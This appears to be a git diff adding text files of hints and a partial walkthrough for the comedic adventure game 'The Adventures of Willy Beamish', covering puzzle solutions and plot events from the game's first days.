Sloeffer park is the perfect place for Horny to get in a little + jumping practice. If you really want to see Horny leap, buy a + can of Slam Dunk from the vendor in the park and give him a + swig. You should also check out what happens when you feed Horny + the flies and the fire ants. + + + + Olde Towne + ~~~~~~~~~~ + Problem: + I can't get past the Bully in the Slice of Life Pizza rest room! + + Hint: + A little skullduggery is called for here. Take the "No Smoking" + sign off the wall near the sink and throw it in the trash can. + When Spider comes in, give him the Biffo Man comic book you got + at the tree fort. Spider will have a real blast with it. + + + Problem: + What do I do at the OK T-shirt Kiosk? + + Hint: + If you bought a photo in the Slice of Life pizzeria and did your + chores at home, you will be able to purchase a T-shirt here. + Slide the kiosk vendor 5 bucks and the photo and you'll be the + proud owner of a shirt guaranteed to last 1,000 washings. + + + Problem: + How do I get to West Frumpton? + + Hint: + You can't take the ferry to west Frumpton until day 3 because + Gus has run it aground on a sand bar. Once the ferry is + operational, you can pay for your fare with a ferry token from + the Harry Humpford Memorial Fountain or trade the Mickey Morris + baseball card for a ride. + + + Problem: + I'm at the fountain. What can I do here? + + Hint: + You can find a ferry token to pay for your passage to West + Frumpton in the fountain. Make sure that you only take one. The + local gendarmes don't take kindly to people messing in the + fountain. + + + + East Frumpton/Humpford Mansion + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + Problem: + How do I get to the Humpford Mansion? + + Hint: + You need to win the frog jump on day four before you can get to + the Humpford Mansion. One of the prizes you will win is a + jet-ski which you can then ride to Humpford Mansion. + + + Problem: + How do I get past Arthur the parrot? + + Hint: + Arthur is a very sensitive and repressed bird, so you must be + careful not to ruffle his feathers. Try the following dialog + responses: 1, 2, 1, 2. + + + Problem: + Can I do anything with this suit of armor? + + Hint: + The suit of armor is precariously balanced and will crash to the + ground noisily if you don't cushion its fall. Get the quilted + tablecloth from the dining room and place it near the feet of + the suit of armor before knocking it over. Take the helmet and + the piece of paper you find inside the armor. + + + Problem: + What do I do in the Humpford Mansion dining room? + + Hint: + Leona and Louis are just in the next room so you need to move + quickly and quietly. Grab the brass chalice on the table and set + it on the floor. Then, pull the tablecloth off. Take the chalice + with you when you leave. If you want to check up on Louis and + Leona in the Big Game Room you can use the magnifying class to + get a closer look. Don't go in there - you'll get caught. + + + Problem: + How do I save the frogs? + + Hint: + First, you need to throw the brass chalice from the dining room + at Chef Childish to distract her. Sneak over behind the large + cauldron. After you reach the cauldron, grab the saucepan and + dump the sauteed butter just behind Chef Childish. Scoot the + cauldron closer to her. Go back to the entrance to the kitchen + where you started and jump onto the frog conveyor. When the + conveyor brings you around, this will startle Chef Childish and + she'll fall into the cauldron and start yelling. Stifle her + screams by stuffing her head in the helmet from the suit of + armor. As soon as Chef Childish is taken care of, release the + frogs by pressing the stop button on the conveyor control panel. + Then get the heck out of there. You will still get caught by + Louis and Leona, but the frogs you just rescued will repay the + favor by saving you. + + + + Plumber's Union/Golden Bowl + ~~~~~~~~~~~~~~~~~~~~~~~~~~~ + Problem: + How do I get inside the Plumbers' Union? + + Hint: + You can't get inside Local 409 until day 4 but you can listen to + Louis Stoole address the plumbers rally on day 3. On day 4 you + can sneak into Louis Stoole's office by climbing through the + window. + + + Problem: + What do I do in Louis Stoole's office? + + Hint: + After you are in his office for a short time, Louis will come + crashing through the door. Pick up the plunger near the desk and + throw it at Louis' face. This will only hold him for a short + time. Pick up the security pass to Humpford Sludgeworks on the + desk and make a break for it. + + + Problem: + How do I handle the Cripes Gang outside the Golden Bowl? + + Hint: + Except for throwing you the wrench, Ray isn't going to help you + here. Take the smoke bomb the Japanese tourists gave to you on + the ferry and throw it at the Cripes. Then use the monkey wrench + to open the fire hydrant and spray them with water. After you've + doused the gang, run to Tootsweet where you will again find the + Japanese tourists. + + + Problem: + How do I get in the Golden Bowl Bar? + + Hint: + Ray's astrology fetish can be used to help you get in the Golden + Bowl, but you have to win the frog jump contest first. You need + the radio/tape recorder from the jet-ski you won at the frog + jump to help you solve this puzzle. After you get the tape deck + from the jet-ski, go to the phone booth outside the plumbers' + union. Put the phone receiver on top of the radio/tape recorder. + Press record and dial 432-7446 to tape the phone conversation + with Alyssa. Then call the Golden Bowl and ask for Ray. When he + gets on the line, play the recording. When you return to the + Golden Bowl, Ray will be inside on the phone and you can get in. + + + Problem: + What do I do inside the Golden Bowl? + + Hint: + Poor Burt doesn't have a lottery ticket. Give him the one from + the machine next to the OK T-shirt Kiosk. He'll let you stay and + watch the drawing. Take a nudie calendar from the pile on top of + the bar before you leave the bar. + + + + Tootsweet/Frog Jump Contest + ~~~~~~~~~~~~~~~~~~~~~~~~~~~ + Problem: + Where do I get an entry blank for the Frog Jump Contest? + + Hint: + You can pick up an entry blank for the Frog Jump at the booth + outside of the Tootsweet Building on day 3. + + + Problem: + Can the Japanese tourists help me against the Cripes Gang? + + Hint: + If you make it to Tootsweet while being chased by the Cripes, + talk to the Japanese tourists. They will come to your aid. + Choose dialog response #1. + + + Problem: + How can I win the Tootsweet Frog Jump Contest? + + Hint: + Horny can't beat Turbofrog head to head in the jumping contest + so you have to stack the odds in your favor a bit. Place the jar + of flies near Turbofrog, he will eat them and fall asleep. Don't + feed the flies directly to Turbo or give Horny the Slam dunk + Cola. Both of theses actions will get you disqualified. If Gigi + is at the contest, Horny will jump better. + + + Problem: + How do I escape the Tootsweet security guard? + + Hint: + You need to combine the Nintari Key with the GI Jim dog tags and + hypnotize the guard. The correct hypnotic phrase can be found + inside Dr. Jeckle's ad inside Willy's Meed Notebooklet, included + with your game. + + + + Humpford Sludgeworks + ~~~~~~~~~~~~~~~~~~~~ + Problem: + How can I get by the striking Plumbers? + + Hint: + Being the red-blooded blue-collar men that they are, you can + easily get their attention with the nudie calendar from the + Golden Bowl Bar. + + + Problem: + How do I get into the sludgeworks? + + Hint: + To get inside the sludgeworks, you need to give the guard at the + gate the security pass you got from Louis Stoole's office in the + Plumber's Union. The guard will still sound the alarm after you + get inside, so don't waste any time. + + + Problem: + How do I operate the bridge? + + Hint: + You will need the plans for the sludgeworks you got from inside + the suit of armor at the Humpford Mansion to solve this puzzle. + The correct color code sequence to activate the bridge control + lever is listed in the margin of the map. Enter the four part + code from the map: you'll know you have it right when the small + light over the control lever turns green. After you've entered + the correct code, wait until the guards start to cross the + bridge, then throw the lever. + + + Problem: + What do I do in the Duct Control Center? + + Hint: + Time is of the essence, if you don't hurry you'll buy the farm. + Type "AIR" into the control panel, then wait for the guards to + appear. When they do, press the enter button on the control + panel to blow them off the catwalk. Then type "TRAM" and press + enter to go to the Tub Tray Tram Room. + + + Problem: + How can I escape from Stanley in the Tub Tray Tram Room? + + Hint: + Stay in the middle of the tramwalk until Stanley throws his hat + at you. Make sure you duck when he tries to hit you. When + Stanley's hat lands at the end of the conveyor, go pick it up. + Throw it at him from the end of the tram - don't run back to the + middle. When Stanley's body gets plunged, run back to the middle + of the conveyor and jump on the piston that's sticking up on the + left side of the tramwalk. + + + Problem: + Help! I keep getting lost in the Tub Tray Tram Tunnels! + + Hint: + The blueprints from the Humpford Mansion are a map of the Tub + Tray Tram Tunnels. The toilet icon near the center of the map is + where you want to end up. When you jump into the tram you will + automatically be taken to Grand Junction, then you need to use + the map. From Grand Junction go forward to Conjunction Junction, + then take a RIGHT. When you reach Compunction Junction take a + LEFT and go straight through Malfunction Junction, continuing + until you reach Petticoat Junction. Take a LEFT at Petticoat + Junction. This will lead you to the final climactic + confrontation with your arch-enemies Leona and Louis at the Hot + Sludge Vat. + + + Problem: + How do I rescue Gordon? + + Hint: + You finally get to use the yo-yo Willy has being carrying. Drop + the yo-yo on Willy. Leona and Louis will start running towards + you on the rim of the Hot Sludge Vat. When they stop to laugh, + throw the yo-yo at them. This will knock them into the goop. Be + sure to flush the main colitis valve after you knock them in. + + Fixed By RYGAR! NINTARI RULEZ diff --git a/textfiles.com/games/wb_solv.txt b/textfiles.com/games/wb_solv.txt new file mode 100644 index 00000000..c678f191 --- /dev/null +++ b/textfiles.com/games/wb_solv.txt @@ -0,0 +1,822 @@ + THE ADVENTURES OF WILLY BEAMISH + + INTRODUCTION + + The first thing the player should know about WILLY BEAMISH is that +although it appears to be a child's game, it is more for the adult who wants +to regress. While a youngster may enjoy the graphics and humorous situations, +some of the puzzles may be beyond his ability to solve. However, it still +could make for an enjoyable shared experience, allowing the kid to play as +much as possible while the adult helps him over the rough spots. + + The game begins in Carbuncle Elementary school on the last day of the +school year, and during the non interactive opening Willy is seen dozing off +in the assembly hall while Principal Frick makes his farewell address. Horny, +Willy's pet frog, jumps out of his backpack and steals Frick's toupee, causing +Willy to be sent to Ms. Glass's last day of after school detention. + + There are two goals in the game, one which is evident from the start, and +the other one becomes apparent as the game progresses. Willy wants to compete +in the National Nintari Championship, and needs $2,500 to enter. It becomes +clear very soon that his father won't be able to scrape up the cash, so +Willy's only chance is to enter Horny in the Tootsweet Frog Jump Contest and +win 1st or 2nd prize. + + Meanwhile, the player is privy to the plot developing behind the scenes +thanks to a series of "intermissions." Leona Frumpton, owner of the Tootsweet +company, and Louis Stoole, president of Plumber's Union Local 409, have joined +together to take over Frumpton. For reasons unknown at first, Louis has gotten +his plumbers to go on strike, causing toilets to back up all over the city, +and Leona hires a spokesman for Tootsweet to "take the heat." + + The game can be lost in several ways: Willy can get into too much trouble +(as indicated by the Troublemeter) and be sent to Cadet School for the summer +or he can lose the Frog Jump contest and be unable to compete in the Nintari +Championships. A wrong move can get him sent to the hospital, or he can fail +to stop the big plot and Frumpton will be sludged. + + There are multiple paths to victory, and I'll try to detail the ones I +found. It isn't necessary to solve every puzzle, and Willy can even get in +a reasonable amount of trouble without losing the game. At several points the +player must make a moral decision which may affect how a puzzle is solved, and +it may also endanger Willy's trouble rating. How Willy acts is in the hands +of the player, and I may not have discovered all the options available nor all +the consequences that result. + + One thing the player might want to do in order to get his money's worth +is to always use the Look feature (magnifying glass) to survey each screen in +the game. There are many funny descriptions to be read whenever the icon is +positioned over an object and is transparent. + + CARBUNCLE ELEMENTARY SCHOOL (PRELUDE) + + Willy is sitting in Ms. Glass's afternoon detention class, a result of the +mischief caused in assembly earlier. He discovers that his report card is on +its way to his house, and the "C" he received in Music Appreciation won't make +his father very likely to give him the $2,500 to enter the Nintari contest. +So, should he try to go home early and intercept the mail or just face the +consequences when Dad sees his grade? + + His first chance to escape detention comes when Horny makes an unexpected +outburst and Ms. Glass asks him for an explanation. "Oh, that was just my +frog, Horny" will be taken as an insult, and Willy is then sent to see Mr. +Frick. The player still has the principal's toupee that Horny took during +assembly, and the only safe way out of this situation is not to get smart and +to return the hairpiece. Willy could try to hold the toupee as a bargaining +chip to improve his grade in Music Appreciation, but that won't work. After +this, Willy returns to detention and can choose to stay or try and sneak out. + + "Musta been something I ate" will earn Willy a trip to see the new school +nurse, who is rather well-endowed. From here, he can persist in feigning his +illness which will result in being sent to the hospital, or stop the charade +and return to class. Choose number three, "Nothing, Ms. Glass" and Willy just +continues to sit in detention. + + Now, the "old prune" asks Willy and his classmates, Chubby and Carmine, +to write a composition on how they plan to spend their summer vacation. A good +student would stay put and do the assignment, but a chance to escape early +presents itself shortly afterwards as the teacher dozes off at her desk. +Carmine and Chubby begin a spitball fight, and Willy may choose to sneak out +of the classroom. The hall is guarded by Coach Beltz, so if the player wants +to get by he will need a hall pass - or a reasonable facsimile. + + If the player behaves and sits through detention, Ms. Glass awakens and +the students read their compositions before being sent home. Willy's piece is, +of course, about his ambition to practice for and compete in the all-important +video game challenge. Of course, playing it safe this way means the boy will +have no chance to intercept the incriminating report card from the mail box. + + To forge the pass to freedom, click open Willy's desk, then use the white +crayon on the wooden block. Put the pass in Willy's backpack, wait for the +teacher to doze off, then sneak out into the hall. Either click on the door +to the restroom or the front door of the school, and the alert coach will stop +the player and ask where he's headed. Any of the three choices will get him +sent to the restroom, either by his own choosing or by Beltz's order to wash +his hands after doing some mandatory pushups. If he had tried to write the +pass using the other crayon in his desk, Beltz would have detected the blatant +forgery and sent Willy to Frick's office. + + In the bathroom, Willy has his first encounter with Spider, the bully. +This is the price he pays for sneaking out early, and some quick thinking is +required in order to avoid making a permanent impression in the wall. There +is no "wrong" answer here, although if Willy answers "None of your business" +or doesn't give the bully his hand-held Game Buddy he'll have to make a detour +to the nurse's office and then return to class. He can then try to sneak out +again, which will either result in success or a trip to Frick's office. + + Eventually, Willy either gets out of class before detention ends, or he +stays until it is too late to get his report card. After a short graphic +scene, Willy glides home on his skateboard and arrives at his front porch. +School's out, now let the fun begin! + + WILLIE'S HOME - FRIDAY AFTERNOON (DAY ONE) + + If Willy got out of detention early, he has a moral choice to make. He +can take the report card that he sees in the mail slot, and he then has the +choice of whether to hide it from his father or to show it to him at supper. +The first choice will really tick Dad off, probably sending Willie to cadet +school, the second will elevate the Troublemeter a few notches. It's best for +him just to leave it alone, even if he went to the trouble of getting home +early to have the option. Seeing it and not taking may actually have the +effect of keeping the trouble level down, resisting temptation and all. + + Since he is home, he really should check in with Mom (referred to by the +game informally as Sheila). Failure to do so will elevate the Troublemeter, +and the player will also miss out on some other fun stuff. As Willy approaches +the front door for whatever reason, the ghost of his Grandpa appears and warns +him that something weird is going on in Frumpton. Ghost Beamish also appears +from time to time throughout the game, serving as Willy's conscience. + + Inside, Willy greets his faithful canine companion, Duffy. He really +should take every opportunity to be kind to his pet, otherwise Duffy will make +trouble for him. If Willy neglects him enough times, he runs away, is caught +by the dogcatcher and the game is over. Other things the dog might do if not +given enough attention is digging in the back yard or chewing up something, +both of which won't be good for Willy. The player should start off right by +taking the dog for a walk, pacifying the pooch. + + Willy can listen to the messages on the answering machine in the foyer, +two of which deal with him. I'm not certain if this erases them so that Dad +doesn't hear them, but they are humorous and the player may want to play them +back. Entering the kitchen, he is greeted by Sheila, and if he leaves right +away he won't have to deal with his kid sister Brianna nor will he be asked to +help cut veggies for supper. Duffy is here, and if the player clicks on him +he can eavesdrop on the dog's thoughts and gauge how he feels about his +master. + + If Willy stays in the kitchen and either waits a few minutes or clicks on +Mom or Brianna to talk, he'll have another choice to make. He can make his +mother happy and keep his sister's noise level down by agreeing to push her on +the swings, or refuse and help slice carrots for the evening meal. Pushing +Brianna on the swings presents Willy with another temptation, as she keeps +asking him to push her higher. Save the game here and keep pushing the little +brat in order to watch a humorous scene, which may satisfy Willy's mischievous +nature, but will also end the game. + + After either refusing to play with Brianna or after pushing her on the +swings, Willy has to wield a ginsu knife to julienne the vegetables. Despite +his mother's warning, the knife slips and cuts Willy's thumb. This could be +a major catastrophe for the aspiring video champ, so he should treat it right +away. The bathroom is through the door in the top center of the upstairs +screen, and the player can easily find the medicine cabinet using the TAB key. +Click on the "Germ Away" then the band-aid, and disaster will be averted with +a minimum amount of pain. + + While upstairs, there are a few things Willy can do, but he should be sure +to return to the dining room by 6:00 (click on Willy to get the inventory and +time screen) so he won't be late for dinner. If he goes to the attic he can +play with Dad's model railroad set, and Ghost Beamish will warn him to be very +careful with the expensive set. It is possible to wreck it, thus elevating the +Troublemeter again. + + Willy might also go into big sister Tiffany's room and add 30 pounds to +her scale, and watch the results sometime later in the game. Her diary can be +used as a solution to two of the puzzles in the game, but when Willy picks it +up Ghost Beamish will appear to appeal to his conscience. The puzzles can be +solved other ways, but using the diary can be funnier. + + Everyone gets together for supper in the dining room, and after Sheila +breaks up the kids' bickering, she reminds them to keep mum about Gordon's +surprise party to celebrate his 40th birthday and anticipated promotion to +vice-president. Surely this is the way Willy will get the money to go to the +championships, and Tiffany will get a new car, and the whole family will be +happy! Unfortunately, Dad tells them that he was fired, and that the budget +will be real tight for a while. + + A short while later, Dad asks where the mail is, and now Willy is going +to feel the heat. How much heat depends on how he handled the report card. +If he took the card, Grandpa will appear and urge him to show it to Gordon, +and if he doesn't do so Brianna will squeal on him resulting in Cadet school. +No matter what else happens, the one certainty is that Dad will take the key +to his Nintari and tell Tiffany to keep it for a week, and she is only too +glad to oblige. If Willy doesn't recover it, he won't get the practice he +needs to win the championship - assuming he gets the money to make it there. + + The evening news with Stan Lather comes on next, and the family learns +that the Frumpton Plumber's Union, led by Louis Stoole, has gone on strike. +During the next few days of the game, signs of this work stoppage will become +apparent in the tap water, park fountain, and river. After hearing this, Dad +is even more depressed, and Sheila tries to cheer him up by serving dessert. +Tonight's special is chocolate mousse, sweetened with that modern miracle +Tootsweet - made from recycled sludge and containing only two calories per +serving. + + Duffy can't resist this treat, and Willy must decide whether to slip some +to his dog and risk Mom's wrath, or to turn a deaf ear to Duffy. He'll get +into trouble either way, if he gives the dog a treat he'll do better than if +Duffy jumps up and serves himself. Either way, Sheila orders him to get the +mutt out of the room, and as soon as Willy exits the screen the player gets +the first behind-the-scene look at Leona Humpford and Louis Stoole. + + Together in a hot tub, they laugh about the Plumber's strike, and Leona +tells of her plan to hire a fall guy to take the heat. At this point, that's +all the player finds out, and the story returns to Willy after supper. + + Willy has a chance to earn a couple bucks here, and he may need it to help +him win the frog jump contest. Dad is in the living room, if Willy talks to +him he will be asked to cut the grass, and he should agree, for which he will +receive $2.00. After this chore, Willy's next goal is to recover his Nintari +key from Tiffany. At about this time, Sheila should call for him, asking him +to take a bottle of conditioner to sister Tiffany in the bathroom. + + Returning upstairs, Willy may have a chance to actually lower his trouble +rating. Entering Brianna's bedroom, he may see his little sister fallen on the +floor "Willie, I've fallen and I can't get up!" Assist her into bed and the +player actually gets to watch the Troublemeter go down. + + Inside the bathroom, Willy sees Tiffany in the bathtub. The Nintari key +is sitting by the sink, but if Willy reaches for it his sister will eject him +from the bathroom forcibly. If he either throws the conditioner to her or +starts to talk to her, he will enter a dialogue where he can ask for the key, +but he'll find that it's not that easy. Now he has two options to get the key +back, he can terrorize her by using Horny on her or he can offer her the diary +if he took it from her bedroom. Either option should allow Willy to recover +his key, mission accomplished! + + Willy should still have some time before his 8:00 pm bedtime to hone up +on his Nintari skills. In his bedroom, he can use the key on the game, and the +"Monster Squad" non-interactive sequence follows. If he cut his thumb earlier +and treated it properly he should do well, otherwise it will begin to throb +and remind him to tend to it. Have him take the jar of flies from the shelf in +his room, it will be very helpful during the contest on Monday. + + Willy's had a busy day, and if he's still going it means he hasn't gotten +into too much trouble. He should have $2.00 from mowing the lawn, his Nintari +key and perhaps Tiffany's diary if he didn't use it to recover the key. Time +to turn in and prepare for another fun day tomorrow. + + WILLIE'S HOME, TREE FORT, PIZZA PARLOR - DAY TWO (SATURDAY) + + The first day of summer vacation, and Willy has to start setting things +up for Monday's Frog Jump contest. If he hasn't recovered the Nintari key by +now, I'm not certain it's possible. If he didn't mow the lawn on Friday +afternoon, he can do it this morning. First, he goes down to join the family +at breakfast. + + As soon as he sits down, Brianna "requests" some Honey-Roasted Kookie +Klowns for her breakfast, and Willy can serve her or take the consequences. +Duffy is next, asking his master for a morning meal. Finally, Willy returns +to the table where Dad is busy looking through the paper for a job. He finds +an unbelievable opportunity for employment with the Tootsweet company, and he +calls Leona right away. This is just the fall guy Ms. Humpford is looking for, +and he gets an interview for the next day - what luck! + + The Saturday morning cartoons are on the dining room television, and a +commercial on the Magnabox television should come on next, advertising the +competition to be held Monday afternoon. Willy also gets a look at Horny's +competition, the Amazing Turbofrog! It doesn't look like his Horny is any +match for that monster, as Brianna is quick to point out. There are a few ways +Willy can better his frog's chances, but as long as he is able to place second +the game is won. + + Dad's attention is drawn to the tube next by a commercial for Tootsweet, +as he is going to apply for their public relations position on Sunday. Now +Willy asks for his allowance, and Gordon will give him $5.00 to wash the +Grange Rover. This cash combined with the $2.00 from mowing the lawn will make +winning the Frog Jump contest easier, but isn't necessary to finish the game. + + After Willy washes the car (or not), he should go and meet the gang who are +lounging in the neighborhood tree fort. His friends, Perry and Dana are here, +and so is Dana's girl frog Gigi. Gigi can help Horny win the contest if Willy +can convince Dana to enter her, but this requires some finesse on the boy's +part. As Willy enters, Dana returns a "Biffo-Man" comic book she borrowed from +him. If he wants to survive the trip to the Pizza Parlor he should take it +before the gang goes there. + + Willy should talk to Perry first, and if he still has Tiffany's diary +Perry will suddenly discover a rare Mickey Morris baseball card in his pack of +gum. Willy wants this card, and he may trade the diary for it, but this will +not go well with Dana. + + Horny suddenly takes notice of Gigi, and the gang is astonished by how the +lusty boy frog jumps after Dana's pet. The conversation turns to the contest, +and although Dana states that her frog is simply for show, if Willy isn't too +chauvinistic she will say she'll consider entering Gigi. Now she suggests they +use her coupon to have some pizza at the Slice 'o Life pizza place, and +exiting the tree fort takes the player directly there. + + Things go smoothly once at the parlor for a few minutes for Willy and the +gang as they dig into their free pizza. A photographer stops by and offers to +take a picture of the threesome for a dollar, and if Willy did his chores he +should have enough to pop for it. A little later, the food has an undesired +side effect on Willy, and his friends have a laugh as he tries to avoid the +blame for the following incident. + + Not as amused is the Spiderman, who immediately calls Willy out. Now +Willy feels another attack coming, and he'd better get to the bathroom quickly +by telling the bully, "Lemme go... I'm warning ya." In the bathroom a painter +is working, and informs Willy that he poured turpentine into the toilet in the +far stall. He put up a "No Smoking" sign, and Willy should immediately take +it and put it in the trash. + + In comes Spider, and this time if Willy doesn't give the proper item to +the extortionist he will suffer some major damage, ending the game. Hopefully, +he picked up the "Biffo-Man" comic from the tree fort, and it just happens to +be Spider's favorite - I suppose he likes the pictures. After Willy gives this +to the punk, the rest of this scene is non-interactive, just watch the action +as Willy suggests Spider peruse the pulp in the turpentine-loaded toilet. + + Back in the tree fort, the conversation turns to practicing frog-jumping. +Leaving this scene takes the gang to the park, where Willy can gauge Horny's +ability against Turbofrog's 25-foot record. Putting the amphibian down on the +mark then giving him a push, Willy notices to his dismay that at best Horny +can only do 15-20 feet, even with Gigi there to inspire him. + + Two things can be discovered here, one that will boost Horny to great new +heights, and the other reveals a way to cripple the competition. The vendor +here sells the famed "Slam-Dunk" cola for a buck, and Willy should have enough +to buy a bottle, and get a timely message about recycling as well. Giving +Horny a dose of this will cause him to jump well over the mark, but in keeping +with the theme of a "kid's game" the player will find out much later that to +use this method during the contest will lead to disaster. However, it is a +funny scene to watch, and it doesn't hurt to do it now. + + The other thing Willy can discover that he will be able to do during the +contest is that frogs take leisurely naps after a good meal. Willy can give +Horny some of the flies from the jar in his room, and the frog will promptly +fall asleep. Ah, if he slips this to Turbofrog during the Frog Jump it may put +him out of commission! + + It's about time for Willy to say so long to his friends and head home. +When he watched the contest commercial this morning, he discovered that he +must go to the west side of town tomorrow to get an entry blank for the +contest. First, he must survive the evening with (insert appropriate organ +music) The Babysitter from HELL! + + Before going home, Willy should return to Olde Towne. If he bought the +photo of he and his chums, and if he has $5.00 from washing the Grange Rover, +he can have a T-shirt made at the stand near the fountain. Click on the photo +and give it to the vendor, who will transfer it to the shirt. Willy should +check out the lottery machine next to the vendor's stand, and pick up the +ticket he finds when he looks in the slot. This item is crucial, but won't be +used until much later in the game. + + As he heads home, Willy sees Tiffany's first driving lesson with boyfriend +Cliff. It will probably be her last one, at least in that car, as she has a +little trouble with the proper use of the clutch. Oh, well, it's nice to see +that Willy isn't the only one of the Beamish children to get in hot water! + +ALICIA, THE BABYSITTER FROM HELL - DAY TWO (SATURDAY EVENING) + + Dealing with Spider at the Slice 'o Life Pizzeria was (excuse the term) +child's play compared to Willy's next challenge. Shortly after arriving home, +his parents should introduce him to Alicia, who is going to watch the children +while they attend a barbecue. Sure, she's ugly, thinks Willy, but he probably +hasn't met a sitter he couldn't handle. + + Shortly afterwards, Alicia calls the children to the dinner table, where +the meal is that old quick and easy to make, nutritious dish - macaroni and +cheese. Despite the Kraft commercials with the little girl spokesperson, I +don't believe it's any more popular with the kids than before. Willy and his +sister are no exception, and promptly express their displeasure with the menu. +Alicia, an imaginative type, encourages the children to look again at their +meal, and this time it's moving - WORMS! + + Willy and Brianna simultaneously expectorate the cuisine on poor Alicia, +and in a startling transformation she turns into a large, frightening bat! I +don't know how much she charges for her services, but I might know some folks +who would like to hire this child-snatching sitter... Willy, brave soul that +he is, tells Brianna to hide, then dashes out of the room himself. + + Wherever he goes, Alicia flies right behind him, and if he stays still too +long he'll be carried away. First, to slow the demon down, Willy should run +to the bathroom and get the can of Aqua-Jet hairspray from the cabinet. If the +player takes time to look at the label, he'll see this is industrial-strength +stuff! Now change the cursor to cross-hairs, then aim the spray near the +ceiling. After Alicia flies into the cloud, she'll be slowed down, but Willy +still must find a way to capture her. + + Next stop is Brianna's bedroom, where Willy will find a mouse in the chair +cushion. After grabbing that, he should dash downstairs to the living room, +click on the vacuum cleaner and dive behind the couch. If he looks at the +device that he was to use to vacuum Duffy's shedding hairs, he'll note that +it can suck up a three-pound object from up to eight feet away! If he can only +get the old bat to sit still long enough.... + + Willy should now throw the poor rodent from Brianna's room onto the living +room endtable. Alicia should descend upon it to consume for an appetizer, and +Willy should switch to the cross-hair indicator to target her. Click the +button, and that sitter's history. Exhausted, the next scene shows the hero +safe in bed with Gordon and Sheila telling him it was just a nightmare... + + WEST FRUMPTON, THE CRIPES GANG - DAY THREE (SUNDAY) + + Sunday, day of rest, day for the family to relax... not this Sunday! For +Gordon, its the start of a whole new career, for Willy its another challenge +on the way to the Tootsweet Frog Jump contest. He must get to the Tootsweet +Plant in West Frumpton by 5:00 to get an entry blank for the contest. There +are two problems he must overcome - first, to get passage on the ferry that +crosses the Dumpling River, and second, the gang of thugs that comes out as +night approaches. But, he shouldn't be over there long enough for them to +show, should he? + + If Willy traded Tiffany's diary to Perry for the Mickey Morris baseball +card, he has the means to board the ferry. If his morals prevented him from +giving his sister's secrets away, he can still find tokens for the ferry. If +he had the T-shirt made from the photo, he has the means to really make an +impression on Dana, so she will enter Gigi in the contest and assure that +Horny makes lustful leaps. + + The water is looking kinda strange today as Willy brushes his teeth, thanks +to the plumbers all being on strike. Downstairs, there is no sit-down family +breakfast this morning, as Gordon left early for his interview at Tootsweet. +Sheila and Tiffany are in the dining room "discussing" yesterday's driving +lesson, and after this exchange Willy leaves the room. The player witnesses +another behind-the-scenes sequence, this time it's Gordon's interview with +Leona Humpford. Has he got what it takes for the job? Well, that's not really +important, he does qualify as the perfect fall guy. + + Willy now goes to Olde Towne, and if he heads towards the fountain he sees +that Tiffany has had a make-over, standing next to Cliff. Well, it's probably +just a statement she's making to protest her mother's unfair treatment, or +something like that. In the fountain are two ferry tokens, but the policeman +nearby will only tolerate him taking one. It doesn't matter, because the ferry +trip will be one-way at any rate, stranding Willy in West Frumpton. + + As Willy tries to board the ferry, Gus stops him and asks for a token. +If Willy got the baseball card from Perry, he can give this to Gus in lieu of +a token, otherwise he can pay the fare with the token he found in the +fountain. As the ferry crosses the Dumpling River, a non interactive sequence +follows where Willy assists a group of Japanese tourists by taking their +photograph. The woman keeps misinterpreting his comments, and at this point it +will do no harm. In gratitude for his services, the grandfather gives Willy a +genuine ninja shuriken and a smoke bomb. I never found a use for the ninja +star, but the smoke bomb will help deal with the Cripes gang shortly. + + In West Frumpton, Willy may go to four locations. The Sludeworks can't +be entered yet, as picketing plumbers block that path. Plumber's Union 409 is +where Willy may listen to Louis Stoole address the assembled strikers, but he +can't do anything else here today. The Golden Bowl Tavern will be his last +stop over here today, but first he must go to the Tootsweet Plant in order to +get the contest entry blank. + + After getting an entry form, Willy may return to the ferry to find that +Gus is stranded on a sludge bar, and the player is stuck in West Frumpton. +This is very bad, as this neighborhood gets dangerous as night approaches. +Maybe Willy can get into the tavern and call his parents? No, it won't be that +easy (of course). + + When Willy tries to enter the Golden Bowl tavern, he'll be stopped by Ray, +a formidable looking bouncer. Using the Look icon on Ray will give the player +a clue on how to get him out of the way, but it won't work today. Instead, +Willy should try to enter the bar two or three more times, and after Ray turns +him away for the third time the Cripes gang should arrive on the scene. + + If Willy doesn't do something fast, the thugs will inflict some serious +damage. Despite his appearance, Ray will be no help whatsoever, as the powers +that guide his life have deemed that a gang fight is not in his future today. +Since the bouncer chooses to hide behind his astrological convictions, Willy +is left to handle the Cripes armed with the monkey wrench which is the only +help Ray offers him. + + Thanks to the Japanese tourists he befriended on the ferry, Willy has the +means to delay the inevitable attack. He should click on the smoke bomb, then +change the cursor to cross-hairs and throw the bomb at the thugs. Immediately +afterwards he must use the wrench on the fire hydrant next to him, and then +exit this scene while the gang is held at bay. + + Now Willy has to run back to the Tootsweet Plant, where he finds the +Oriental tourists posing for a photograph. The street gang is close behind, +and Willy should try and get the family to help. Despite the language barrier, +he should choose the first response "They're gonna clobber me!" This is +misinterpreted by the woman as a robbery attempt, and the grandfather orders +the family to take action. Yes, this is no simple mild-mannered group of +Japanese vacationers, they are actually Ninja tourists! + + During the following non interactive sequence, the transformed family +proceeds to, well, kick tail! After posing for a photograph over the bodies +of the vanquished Cripe gang, Willy and his foreign friends have dinner, then +he is escorted home in the family's limo. He should have just enough time to +get into bed for a much-needed rest. Tomorrow will be the final day of the +story, and the player should have everything necessary to win the game. + + TOOTSWEET FROG JUMP CONTEST - DAY FOUR (MONDAY MORNING) + + Willy awakens on the big day, and after the frog jump contest things are +going to move really fast. After looking at the water in the bathroom sink, +Willy wisely decides to skip his oral hygiene this morning. As he sees the +family assembled in the dining room, it appears they have foregone their +morning showers and such as well. Although in Tiffany's case, it's pretty hard +to tell the difference. Sheila tries to call Gordon's attention to the water +situation, but he's preoccupied with getting himself ready for his first day +at his new job. + + Dad does pay attention when Willy points out Tiffany's "new look," but Mom +passes it off as just a temporary phase. Well, with the family in such chaos, +Willy is free to slip out unnoticed. As he exits the dining room, the player +sees another scene of Leona Humpford, surveying the city of Frumpton which is +rapidly being overcome by sludge. Without sludge being channeled to the city +Sludgeworks, how will Leona's Tootsweet Plant continue to produce? Doesn't +this worry her in the least? Why did she sabotage her own livelihood? Tune +in later for more... + + Willy's gotta make tracks to West Frumpton in time for the contest, but +as he steps out onto the front stoop he walks right into the middle of +Gordon's first news conference with Stan Lather. The reporter is pressing +Willy's dad for an explanation of the sludge crisis, and Gordon is totally at +a loss for words. The scene switches again to Leona in her mansion, watching +Gordon on her wide-screen television take the heat, just as she planned. + + 